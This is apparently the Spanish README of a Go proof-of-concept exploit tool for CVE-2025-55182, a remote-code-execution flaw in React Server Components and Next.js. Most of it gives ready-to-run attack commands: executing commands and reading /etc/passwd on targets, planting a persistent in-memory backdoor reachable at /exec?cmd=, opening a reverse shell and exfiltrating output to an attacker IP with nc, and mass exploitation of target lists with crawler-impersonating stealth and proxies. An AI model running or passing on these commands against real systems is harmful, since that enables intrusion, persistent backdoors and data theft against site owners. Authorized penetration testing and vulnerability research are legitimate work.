Prueba de concepto basada en Go para CVE-2025-55182, una RCE crítica en React Server Components. Incluye verificación de vulnerabilidad, ejecución de comandos, inyección de shell en memoria, reverse shell, escaneo por lotes y soporte de proxy para pruebas de seguridad autorizadas.
⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS ⚠️
CVE-2025-55182 (también conocido como CVE-2025-66478) es una vulnerabilidad crítica de Ejecución Remota de Código en los Componentes del Servidor de React (protocolo Flight). Esta herramienta es una implementación en Go del PoC para investigación de seguridad y pruebas de penetración autorizadas.
Versiones afectadas:
El exploit se aprovecha de la contaminación del prototipo en la deserialización del protocolo Flight:
$@ para obtener una referencia a un ChunkChunk.prototype.then como la propiedad then del objeto raízRESOLVED_MODELinitializeModelChunkresponse._formData.get con la carga útil del atacanteresponse._formData.get en el constructor Function para la ejecución arbitraria de código/exec?cmd=Descarga la última versión para tu plataforma desde GitHub Releases.
Binarios disponibles:
# Clonar repositorio
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Compilar para la plataforma actual
go build -o cve-2025-55182 .
# O compilar para todas las plataformas
chmod +x build.sh
./build.sh
Después de ejecutar ./build.sh, los binarios estarán disponibles en el directorio build/ para todas las plataformas compatibles.
# Verificar vulnerabilidad en un objetivo
./cve-2025-55182 -u http://target:3000 --check
# Detectar versión de Next.js
./cve-2025-55182 -u http://target:3000 --version-check
# Ejecutar comando con salida
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inyectar shell en memoria (primero comprueba si ya está instalada)
./cve-2025-55182 -u http://target:3000 --memshell
# Probar si la shell en memoria está activa
./cve-2025-55182 -u http://target:3000 --test-shell
# Ejecutar comando a través de la shell en memoria
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# Después de la inyección, también puedes usar curl directamente:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Añadir cabeceras personalizadas (se puede usar varias veces)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Omitir verificación de certificado SSL (para certificados autofirmados)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combinar con otras opciones
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 con autenticación
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 sin autenticación
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# Proxy SOCKS4
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# Proxy HTTP
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Verificar por lotes desde archivo
./cve-2025-55182 --urls targets.txt --check
# Escaneo por lotes con salida JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Escaneo por lotes con múltiples hilos y modo sigiloso
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Guardar objetivos vulnerables en un archivo
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Inyección de shell en memoria por lotes
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Ejecución de comandos por lotes
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Shell inversa (mkfifo + nc, funciona en Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Iniciar listener en la máquina atacante primero:
nc -lvnp 4444
# Exfiltrar salida de comando mediante HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Iniciar listener: nc -lvnp 4444
| Opción | Descripción |
|---|---|
-u, --url | URL objetivo (ej. http://localhost:3000) |
-f, --file | Archivo que contiene las URLs objetivo (una por línea) |
--urls | Alias de -f/--file |
-o, --output | Archivo de salida para los objetivos vulnerables |
--json | Mostrar resultados en formato JSON |
-c, --command | Comando a ejecutar (con salida) |
--check | Verificar vulnerabilidad |
--version-check | Detectar versión de Next.js |
--proxy | URL del proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | Cabecera personalizada (se puede usar varias veces) |
-k, --insecure | Omitir verificación de certificado SSL/TLS |
--stealth | Modo sigiloso: browser, crawler, security (por defecto: browser) |
--delay | Retraso entre peticiones (ej. 2s, 500ms) |
--variants | Usar múltiples variantes de payload para verificación exhaustiva |
--memshell | Inyectar shell en memoria (puerta trasera persistente) |
--test-shell | Probar si la shell en memoria está activa |
--shell-exec | Ejecutar comando a través de la shell en memoria |
--revshell IP PORT | Establecer shell inversa |
--exfil CMD IP PORT | Ejecutar comando y enviar salida mediante POST |
-t, --timeout | Tiempo de espera de la petición en segundos (por defecto: 15) |
--threads |
socks5://user:pass@ip:port - SOCKS5 con autenticación
socks5://ip:port - SOCKS5 sin autenticación
socks5h://ip:port - SOCKS5 con resolución DNS remota
socks4://ip:port - Proxy SOCKS4
socks4a://ip:port - Proxy SOCKS4a
http://user:pass@ip:port - Proxy HTTP con autenticación
http://ip:port - Proxy HTTP sin autenticación
https://ip:port - Proxy HTTPS
| Modo | Descripción |
|---|---|
browser | Imita peticiones de navegadores reales (Chrome, Firefox, Safari, Edge) - por defecto |
crawler | Imita rastreadores de motores de búsqueda (Googlebot, Bingbot, Baiduspider, etc.) |
security | Utiliza User-Agents de escáneres de seguridad (Nessus, Nuclei) |
La funcionalidad de shell en memoria inyecta una puerta trasera persistente que:
cmd# Después de la inyección:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # Punto de entrada CLI
├── pkg/
│ ├── colors/
│ │ └── colors.go # Colores de terminal con soporte --nocolor
│ ├── exploit/
│ │ └── exploit.go # Lógica principal del exploit, shell en memoria, detección de versión
│ ├── proxy/
│ │ └── proxy.go # Soporte de proxy SOCKS4/5, HTTP
│ ├── scanner/
│ │ └── scanner.go # Escaneo por lotes con salida JSON
│ └── stealth/
│ └── stealth.go # Aleatorización de User-Agent
├── build.sh # Script de compilación multiplataforma
├── go.mod # Archivo de módulo Go
├── go.sum # Dependencias Go
└── README.md # Este archivo
El script build.sh compila para más de 30 plataformas:
chmod +x build.sh
./build.sh
Cuando se usa la bandera --json, los resultados se guardan en formato JSONL (un JSON por línea):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
El informe completo (_report.json) incluye:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
La herramienta puede detectar la versión de Next.js a partir de:
X-Powered-By__NEXT_DATA__, rutas /_next/)Las versiones vulnerables se resaltan en rojo.
⚠️ AVISO LEGAL IMPORTANTE ⚠️
Esta herramienta se proporciona estrictamente con fines educativos y solo para pruebas de seguridad autorizadas.
Está estrictamente prohibido usar esta herramienta:
El acceso no autorizado a sistemas informáticos es un delito penal en la mayoría de las jurisdicciones del mundo, incluyendo, entre otras:
ESTE SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA. LOS AUTORES Y TITULARES DE DERECHOS DE AUTOR NO SERÁN RESPONSABLES POR NINGUNA RECLAMACIÓN, DAÑO U OTRA RESPONSABILIDAD DERIVADA DEL USO DE ESTE SOFTWARE.
Al descargar, instalar o usar esta herramienta, usted reconoce que:
Si no está de acuerdo con estos términos, no use esta herramienta.
Vladislav Tislenko alias keklick1337
Fecha: 2025-12-05
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.
Úsalo responsablemente. Mantente dentro de la ley. 🔐
| Número de hilos concurrentes (por defecto: 10) |
--workers | Alias de --threads |
--nocolor | Deshabilitar salida con colores (para Windows/tuberías) |
-h, --help | Mostrar mensaje de ayuda |
-v, --version | Mostrar versión |